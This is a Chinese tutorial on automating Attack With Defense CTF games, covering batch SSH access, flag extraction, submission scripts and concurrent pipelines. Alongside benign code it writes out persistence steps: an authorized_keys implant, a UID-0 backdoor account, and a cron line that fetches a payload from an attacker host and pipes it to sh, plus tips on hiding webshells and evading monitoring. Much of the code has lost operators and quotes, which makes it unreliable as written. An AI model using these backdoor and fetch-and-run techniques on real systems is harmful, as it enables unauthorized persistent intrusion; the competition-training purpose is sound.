AWD攻防自动化：从脚本编写到批量Flag获取的工程实践

1. 从单点突破到批量收割AWD攻防中的效率革命在AWDAttack With Defense攻防赛中时间就是生命效率就是分数。很多刚接触红蓝对抗的朋友在成功拿下第一台靶机、拿到第一个flag后往往会陷入一种“手忙脚乱”的兴奋状态然后开始机械地重复登录SSH、找Webshell、执行命令、提交flag。当你有几十台甚至上百台靶机需要维护时这种纯手工操作无异于自杀。你会发现在你吭哧吭哧操作第三台机器时对手可能已经通过脚本批量刷完了所有靶机的分数并且开始对你的机器进行反制和大规模破坏。因此从“单兵作战”到“自动化军团”的思维转变是AWD进阶路上必须跨越的一道坎。批量获取flag不仅仅是写个循环那么简单它是一套涵盖信息收集、漏洞利用、权限维持、数据提取和状态监控的完整战术体系。今天我们就来彻底拆解这套体系让你在下一个AWD赛场中实现从“刀耕火种”到“机械化生产”的降维打击。2. 构建你的自动化武器库核心工具与脚本选型工欲善其事必先利其器。在讨论具体流程前我们必须先搭建好自动化的基础环境。这里的工具选型没有绝对的标准答案但需要遵循几个原则轻量高效、依赖少、兼容性强适应不同靶机环境、易于集成。2.1 脚本语言的选择Python vs. Bash对于AWD场景我的首选永远是Python。原因很简单库丰富、字符串处理能力强、跨平台性好。你可能会遇到只有/bin/sh的极限环境但绝大多数提供SSH权限的AWD靶机都会预装Python哪怕是Python2。Bash脚本在处理复杂逻辑、JSON解析、网络请求时显得笨拙而Python可以优雅地完成。一个典型的flag提交脚本需要处理HTTP请求、解析响应、处理异常用Python的requests库几行代码就能搞定用Bash的curl配合grep、awk则麻烦得多且容错率低。当然Bash并非一无是处。它在执行系统命令、文件操作、简单的流程控制上非常直接。因此一个高效的组合是用Python作为主控大脑负责复杂的逻辑和通信用Bash编写一些轻量的、需要在靶机上直接执行的“探针”或“一句话木马”。2.2 核心Python库准备在你的攻击机通常是Kali Linux或你自己的虚拟机上确保安装以下库它们将是自动化体系的基石requests/aiohttp用于HTTP请求。requests同步简单易用aiohttp异步在需要同时向上百个靶机提交flag或发送指令时性能有数量级提升。对于初学者从requests开始更稳妥。paramikoSSH客户端库。这是批量SSH登录、执行命令的核心。相比在Python里调用os.system(“ssh …”)paramiko提供了纯Python的SSH连接可以更好地处理密码、密钥、交互式会话以及连接异常。concurrent.futures或asyncio并发控制。当你需要同时处理多个靶机时必须使用并发否则串行操作会浪费大量时间在等待网络I/O上。ThreadPoolExecutor线程池适合I/O密集型任务如网络请求是入门并发的首选。re(正则表达式)从混乱的命令输出或网页中精准提取flag、IP、端口等信息。这是信息处理的关键。一个简单的环境准备命令如下以Debian/Ubuntu为例sudo apt update sudo apt install python3 python3-pip -y pip3 install requests paramiko aiohttp2.3 信息管理靶机列表的维护所有自动化的前提是你得知道要攻击谁。在AWD开始时你会拿到一个IP列表可能还有对应的SSH密码、Web后台密码等。千万不要用记事本一条条记。我推荐两种方式JSON配置文件结构清晰易于程序读取。{ targets: [ { ip: 192.168.1.101, ssh_port: 22, ssh_user: root, ssh_pass: password123, web_url: http://192.168.1.101:8080, status: unknown, last_flag: }, // ... 更多靶机 ] }CSV文件用Excel或WPS表格维护直观方便赛时快速修改。ip,port,user,pass,url,status 192.168.1.101,22,root,password123,http://192.168.1.101:8080,alive 192.168.1.102,22,root,password456,http://192.168.1.102:8080,dead脚本的第一步就是读取这个列表将其转化为程序内部可操作的对象列表或字典。3. 漏洞利用与后门部署为批量操作铺平道路拿到靶机权限后直接去/flag或/home/flag找flag是最理想的情况但实战中往往没这么简单。flag可能被改名、隐藏、甚至需要特定权限或触发特定条件才能生成。因此批量获取的前提是在每台靶机上部署一个稳定、隐蔽的后门这个后门能按我们的指令可靠地找到并输出flag。3.1 Webshell的批量写入与管理如果漏洞是文件上传或文件写入Webshell是首选。但批量管理Webshell是个挑战。你不能指望每个Webshell的路径和密码都一样。标准化Payload编写一个功能强大的“通用型”一句话木马。例如一个PHP的可以同时执行系统命令、文件管理、数据库操作的小马。将其内容进行Base64或Hex编码减少被WAF或简单字符串匹配检测的风险。动态路径生成不要把所有Webshell都上传到/upload/shell.php。利用靶机的临时目录、缓存目录、可写目录结合时间戳或随机字符串生成路径如/tmp/.cache_[随机字符串].php。这能增加对手的清理难度。批量上传脚本编写一个函数接收靶机URL、漏洞点参数、本地Webshell文件自动完成上传。这里要处理各种情况是否需要先登录获取Cookie上传参数是file还是img返回包如何判断上传成功这些都需要针对比赛具体的漏洞点进行适配。3.2 SSH后门的巩固与隐蔽如果拿到了SSH密码第一时间要做的就是“加固”你的访问权限防止被改密码后踢出。写入公钥这是最优雅的方式。将你的攻击机SSH公钥~/.ssh/id_rsa.pub内容追加到靶机的~/.ssh/authorized_keys文件中。这样以后无需密码即可登录。# 在靶机上执行 echo “你的公钥内容” ~/.ssh/authorized_keys批量操作时可以用paramiko执行这条命令。务必注意权限~/.ssh目录权限应为700authorized_keys文件权限应为600。创建备用后门账户如果权限足够root可以创建一个隐藏的、属于root组或具有sudo权限的账户。修改/etc/passwd和/etc/shadow或者直接useradd -o -u 0 -g 0 -s /bin/bash -d /root -p ‘加密后的密码’ backdoor_user。但这种方式容易被巡检脚本发现。Cron定时任务添加一个定时任务定期从你的服务器下载并执行脚本实现持久化。例如(crontab -l 2/dev/null; echo “*/2 * * * * curl -s http://你的攻击机IP/payload.sh | sh”) | crontab -注意这种方式非常容易被发现属于“明牌”后门仅在特定阶段或作为备用手段使用。3.3 内存马与无文件攻击在高水平的对抗中文件层面的后门很容易被文件监控工具如inotify、aide或对手的批量清理脚本扫掉。此时需要考虑无文件驻留。Java Web 内存马如果靶机是Java应用如Spring Boot, Tomcat通过反序列化、JNDI注入、Servlet API动态注册等技术可以将Webshell直接注入到JVM内存中不落盘。重启应用则失效但在比赛中间阶段非常有效。Python/ PHP 内存执行利用这些语言的动态执行特性将Payload保存在环境变量、共享内存甚至某个特定请求的参数中每次访问时动态解码执行。这需要更精巧的利用链设计。对于批量获取flag这个具体目标我们通常不需要这么复杂的持久化。但了解这些技术能让你明白为什么有时你的Webshell会“神秘消失”从而提前准备应对方案。4. Flag的定位、提取与格式化处理部署好后门下一步就是告诉后门“去把flag给我找出来”。这里的关键在于可靠性和适应性。4.1 常见的Flag位置与查找命令不要只盯着一个地方。编写一个查找函数按优先级尝试以下位置常见固定路径/flag,/home/flag,/root/flag,/var/www/html/flag,/tmp/flag。环境变量有些题目会把flag放在环境变量里试试env | grep -i flag。进程参数ps aux | grep -i flag看看有没有进程的命令行参数里包含flag。查找包含特定字符串的文件find / -type f -name “*flag*” 2/dev/null或grep -r “flag{” / 2/dev/null | head -20。注意grep -r在全盘搜索非常慢慎用。Web目录下如果你有Webshell在网站根目录及其子目录下搜索。find /var/www -type f -exec grep -l “flag{” {} \; 2/dev/null。4.2 编写健壮的Flag提取脚本在靶机上执行的命令其输出可能包含各种干扰信息错误输出、调试信息、多余的空格和换行。我们的脚本必须能像外科手术一样精准地剥离出flag。假设flag格式是flag{xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}类似UUID或lctf{字符串}。import re def extract_flag(raw_output): 从原始命令输出中提取flag。 支持多种常见格式并处理常见干扰。 # 去除首尾空白 text raw_output.strip() # 定义多种flag正则模式按优先级匹配 flag_patterns [ rflag{[0-9a-fA-F\-]{36}}, # flag{uuid格式} rflag{[0-9a-zA-Z_\-\.]{10,50}}, # flag{常规字符串} rlctf{[0-9a-zA-Z_\-\.]{10,50}}, # 其他常见前缀 rFLAG{[0-9a-zA-Z_\-\.]{10,50}}, ] for pattern in flag_patterns: match re.search(pattern, text) if match: # 找到第一个匹配项后清理一下去除可能粘附的换行符 clean_flag match.group(0).strip() # 二次验证确保开头和结尾是完整的 if clean_flag.startswith((flag{, lctf{, FLAG{)) and clean_flag.endswith(}): return clean_flag # 如果正则没匹配到尝试按行分割找包含‘{’和‘}’的行 lines text.split(\n) for line in lines: if { in line and } in line: # 简单提取花括号内的内容 start line.find({) end line.find(}) if start end: potential_flag line[start:end1] # 做一个简单校验括号内内容长度合理 if 10 len(potential_flag) 100: # 可以尝试给它加上缺失的‘flag’前缀如果比赛规则允许 # 更稳妥的做法是记录原始输出人工复核 return fflag{potential_flag} if not potential_flag.startswith(flag) else potential_flag # 什么都没找到 return None # 测试用例 test_output1 “Some debug info…\nThe flag is: flag{550e8400-e29b-41d4-a716-446655440000}\nDone.” test_output2 “lctf{this_is_a_test_flag_123} found in database.” test_output3 “error… flag{invalid-format” # 错误格式 test_output4 “nothing here” print(extract_flag(test_output1)) # 输出flag{550e8400-e29b-41d4-a716-446655440000} print(extract_flag(test_output2)) # 输出lctf{this_is_a_test_flag_123} print(extract_flag(test_output3)) # 输出None print(extract_flag(test_output4)) # 输出None这个函数提供了多层匹配和简单的容错处理。在实际比赛中你还需要根据题目公告的flag格式调整正则表达式。4.3 处理Flag提交的APIAWD平台通常提供一个HTTP API来提交flag。你需要仔细阅读赛题说明。典型的API请求是这样的POST /flag_submit.php Content-Type: application/x-www-form-urlencoded flagflag{xxx...xxx}tokenyour_team_token或者可能是JSON格式{ “flag”: “flag{xxx...xxx}”, “token”: “your_team_token” }用Python的requests库实现提交函数import requests import time SUBMIT_URL “http://比赛平台地址/flag_submit.php” TEAM_TOKEN “你的队伍Token” HEADERS {‘Content-Type’: ‘application/x-www-form-urlencoded’} def submit_flag(flag): 提交单个flag到平台 data { ‘flag’: flag, ‘token’: TEAM_TOKEN } try: # 设置一个较短的超时时间比如3秒避免因某个提交卡住整个流程 resp requests.post(SUBMIT_URL, datadata, headersHEADERS, timeout3) resp.raise_for_status() # 如果状态码不是200抛出异常 # 解析返回结果不同平台返回信息不同 result_text resp.text if “success” in result_text.lower() or “ok” in result_text.lower(): return True, “提交成功” elif “duplicate” in result_text.lower() or “already” in result_text.lower(): return False, “Flag重复提交” elif “invalid” in result_text.lower() or “wrong” in result_text.lower(): return False, “Flag无效或错误” else: return False, f“未知返回: {result_text[:100]}” # 只截取前100字符 except requests.exceptions.Timeout: return False, “提交超时” except requests.exceptions.RequestException as e: return False, f“网络错误: {str(e)}” except Exception as e: return False, f“未知错误: {str(e)}” # 示例提交一个flag并打印结果 success, message submit_flag(“flag{test-flag-123}”) print(f“提交结果: {success}, 信息: {message}”)5. 组装流水线实现全自动批量获取与提交现在我们将前面所有模块像乐高积木一样组装起来形成一条自动化流水线。这个流水线需要具备以下功能并发连接多台靶机、执行命令获取flag、解析flag、提交到平台、记录日志。5.1 主控脚本架构设计下面是一个使用concurrent.futures.ThreadPoolExecutor实现并发的基本框架import json import paramiko from concurrent.futures import ThreadPoolExecutor, as_completed import logging from extract_flag import extract_flag # 导入之前写的提取函数 from submit_flag import submit_flag # 导入之前写的提交函数 # 配置日志 logging.basicConfig(levellogging.INFO, format‘%(asctime)s - %(levelname)s - %(message)s’, handlers[ logging.FileHandler(‘awd_batch.log’), logging.StreamHandler() ]) logger logging.getLogger(__name__) def ssh_execute(target_info, command): 通过SSH在靶机上执行命令并返回输出 ip target_info[‘ip’] port target_info.get(‘ssh_port’, 22) username target_info.get(‘ssh_user’, ‘root’) password target_info.get(‘ssh_pass’, ‘’) ssh paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 自动接受未知主机密钥比赛环境可用 try: ssh.connect(ip, portport, usernameusername, passwordpassword, timeout5) stdin, stdout, stderr ssh.exec_command(command, timeout10) # 命令执行超时 output stdout.read().decode(‘utf-8’, errors‘ignore’) error stderr.read().decode(‘utf-8’, errors‘ignore’) ssh.close() # 合并输出和错误通常flag可能在错误输出里比如命令不存在但flag被打印到stderr full_output output (“\n[STDERR] “ error if error else “”) return True, full_output.strip() except paramiko.AuthenticationException: return False, “SSH认证失败” except paramiko.SSHException as e: return False, f“SSH连接错误: {str(e)}” except Exception as e: return False, f“未知SSH错误: {str(e)}” finally: try: ssh.close() except: pass def process_single_target(target_info): 处理单个靶机的完整流程连接-获取flag-提交-更新状态 ip target_info[‘ip’] logger.info(f“开始处理靶机: {ip}”) # 1. 尝试通过SSH获取flag # 这里假设我们已经知道flag在 /flag 文件里。实际情况可能需要更复杂的命令。 get_flag_cmd “cat /flag 2/dev/null || find /home -name ‘*flag*’ -type f 2/dev/null | head -1 | xargs cat 2/dev/null” ssh_success, raw_output ssh_execute(target_info, get_flag_cmd) if not ssh_success: logger.warning(f“靶机 {ip} SSH失败: {raw_output}”) target_info[‘status’] ‘ssh_failed’ return target_info if not raw_output: logger.warning(f“靶机 {ip} 命令无输出”) target_info[‘status’] ‘no_output’ return target_info # 2. 从输出中提取flag flag extract_flag(raw_output) if not flag: logger.warning(f“靶机 {ip} 未提取到有效flag。原始输出: {raw_output[:200]}...”) target_info[‘status’] ‘no_flag_found’ return target_info logger.info(f“靶机 {ip} 提取到flag: {flag}”) # 3. 提交flag到平台 submit_success, submit_msg submit_flag(flag) # 4. 更新靶机状态信息 target_info[‘last_flag’] flag target_info[‘last_flag_time’] time.strftime(‘%Y-%m-%d %H:%M:%S’) if submit_success: target_info[‘status’] ‘flag_submitted’ target_info[‘submit_msg’] submit_msg logger.info(f“靶机 {ip} flag提交成功: {submit_msg}”) else: target_info[‘status’] ‘submit_failed’ target_info[‘submit_msg’] submit_msg logger.error(f“靶机 {ip} flag提交失败: {submit_msg}”) return target_info def main(): # 加载靶机配置 with open(‘targets.json’, ‘r’) as f: targets json.load(f)[‘targets’] # 设置并发线程数根据网络和机器性能调整通常10-30个线程足够 max_workers 15 updated_targets [] with ThreadPoolExecutor(max_workersmax_workers) as executor: # 提交所有任务到线程池 future_to_target {executor.submit(process_single_target, target): target for target in targets} # 异步收集结果 for future in as_completed(future_to_target): target future_to_target[future] try: result future.result(timeout30) # 每个任务总超时 updated_targets.append(result) except Exception as exc: logger.error(f“处理靶机 {target[‘ip’]} 时产生异常: {exc}”) target[‘status’] ‘process_exception’ updated_targets.append(target) # 5. 保存更新后的状态便于下一轮使用和人工查看 with open(‘targets_status.json’, ‘w’) as f: json.dump({‘targets’: updated_targets}, f, indent2, ensure_asciiFalse) # 打印本轮统计信息 stats {} for t in updated_targets: s t.get(‘status’, ‘unknown’) stats[s] stats.get(s, 0) 1 logger.info(f“本轮批量处理完成。统计: {stats}”) if __name__ “__main__”: main()5.2 调度与循环执行AWD比赛通常持续数小时flag可能每隔几分钟刷新一次。因此我们需要让这个流水线循环运行。import time INTERVAL 60 # 每轮间隔秒数根据比赛flag刷新频率调整通常60-120秒 def batch_run_forever(): logger.info(“开始自动化批量获取flag循环...”) round_count 0 while True: round_count 1 start_time time.time() logger.info(f“ 开始第 {round_count} 轮批量处理 ”) try: main() # 调用上一节的主函数 except Exception as e: logger.critical(f“第 {round_count} 轮主流程发生严重错误: {e}”, exc_infoTrue) elapsed time.time() - start_time logger.info(f“第 {round_count} 轮处理耗时: {elapsed:.2f} 秒”) # 计算需要休眠的时间确保大致按固定间隔执行 sleep_time max(1, INTERVAL - elapsed) logger.info(f“等待 {sleep_time:.2f} 秒后开始下一轮...”) time.sleep(sleep_time) # 在另一个终端或screen会话中运行这个函数 # batch_run_forever()5.3 状态监控与告警自动化脚本不是一劳永逸的。你需要知道它是否在正常工作。除了查看日志文件还可以增加简单的告警功能成功率监控如果连续两轮提交成功率低于50%可能是平台API变化、网络问题或者对手开始了大规模封堵。脚本可以发送一个通知比如在终端打印醒目的警告或者如果你有外部通知渠道发个HTTP请求到通知服务。异常集中告警如果某台靶机连续多轮SSH失败可能被对手修补了漏洞或踢下线需要人工介入检查。心跳检测可以每10轮在日志里打印一个“心跳”信息或者向一个监控文件写入时间戳。再写一个简单的外部脚本检查这个时间戳如果超过一定时间没更新就认为主脚本可能已经崩溃。6. 实战中的精细化调整与高级策略把基础流水线跑起来你就能超越大部分还在手工操作的对手。但要成为顶尖选手还需要以下精细化调整。6.1 流量伪装与请求随机化直接的、高频的、规律性的请求容易被平台的风控机制识别也可能被对手的流量监控发现。你需要给自动化脚本增加一些“人性化”的伪装。随机延迟在提交flag前随机等待一小段时间0.5秒到3秒模拟人工操作。import random time.sleep(random.uniform(0.5, 3.0))随机User-Agent准备一个列表常见的浏览器User-Agent提交flag时随机选用一个。请求参数微调如果平台允许在提交的POST数据里加一些无关紧要的随机参数。多IP出口如果规则允许如果你的攻击机有多个IP可以轮换使用降低单个IP的请求频率。但这通常需要比赛规则明确允许。6.2 多模式Fallback机制不要只依赖一种获取flag的方法。你的脚本应该具备多种尝试路径Fallback Chain。主路径通过SSH执行命令获取最快最直接。备用路径1如果SSH失败尝试通过Webshell获取假设你之前批量上传了Webshell。这需要你维护一个Webshell的URL和密码列表。备用路径2如果Webshell也失败尝试利用其他未修补的漏洞比如SQL注入、反序列化直接获取。这需要你将漏洞利用代码也集成到脚本中。最终路径记录下所有彻底失联的靶机IP每隔一段时间比如10分钟用Nmap快速扫描一下这些IP的端口和服务看是否有新的入口点比如新开了脆弱的服务。6.3 对抗性思维防守端的批量利用真正的AWD高手攻防一体。你的批量脚本不仅能用来攻击也能用来加固自己的靶机。批量修补漏洞当你发现一个通杀漏洞比如某个框架的0day后除了攻击别人第一时间应该是修复自己的所有靶机。写一个修补脚本通过SSH登录自己的每一台机器备份原文件、打补丁、重启服务。批量部署监控在自己的靶机上批量部署简单的监控脚本监控/flag文件是否被修改、是否有新的可疑进程、是否有陌生的网络连接。一旦发现异常立即告警并尝试封堵如kill进程、清除后门文件。批量干扰对手在规则允许的范围内可以编写脚本向所有其他队伍的靶机发送大量垃圾请求占用其资源干扰其自动化脚本的正常运行俗称“压测”。但这属于灰色策略需谨慎使用避免违反比赛规则导致扣分。6.4 日志分析与策略优化你的日志文件awd_batch.log是宝贵的财富。比赛间隙应该定期分析哪些靶机始终无法获取flag可能是漏洞被修了或者对手防守极好。考虑是否要放弃将计算资源集中在其他靶机上。提交失败的原因分布如何是“无效flag”多还是“重复提交”多如果是“无效flag”多说明你的flag提取逻辑可能有问题或者flag位置/格式变了。如果是“重复提交”多说明你的获取频率可能高于flag刷新频率可以适当调大轮询间隔。每轮耗时是多少如果耗时接近或超过flag刷新间隔你需要优化代码比如用aiohttp替代requests实现真正异步或者减少不必要的尝试或者增加服务器资源。7. 从脚本到框架长期备战的方向如果你经常参加AWD那么将上述散装的脚本模块化、配置化形成一个私人的AWD自动化框架是极具价值的。这个框架可以包括插件化漏洞利用模块每个漏洞写成一个独立的Python类或函数通过配置文件加载。遇到新比赛只需要编写新的漏洞插件即可。可视化控制面板用Flask或Django写一个简单的Web界面实时展示各靶机状态、得分曲线、脚本日志甚至可以手动触发对特定靶机的操作。分布式部署在网速好的多台VPS上同时部署攻击节点由一台主控机调度任务实现更强大的火力。知识库集成将每次比赛遇到的漏洞、利用方式、修复方案记录下来形成可搜索的知识库方便下次快速复用。批量获取flag是AWD比赛中从“人力密集型”转向“技术密集型”的关键一步。它迫使你思考如何将攻击流程标准化、模块化、自动化。这个过程本身就是对你的编程能力、系统理解和战术思维的一次绝佳锻炼。记住自动化不是为了偷懒而是为了将你从重复劳动中解放出来让你有更多时间去思考更复杂的战术、去分析对手、去加固自己的防线。当你的脚本在后台稳定运行为你源源不断地收割分数时你就能真正体会到“运筹帷幄之中决胜千里之外”的掌控感。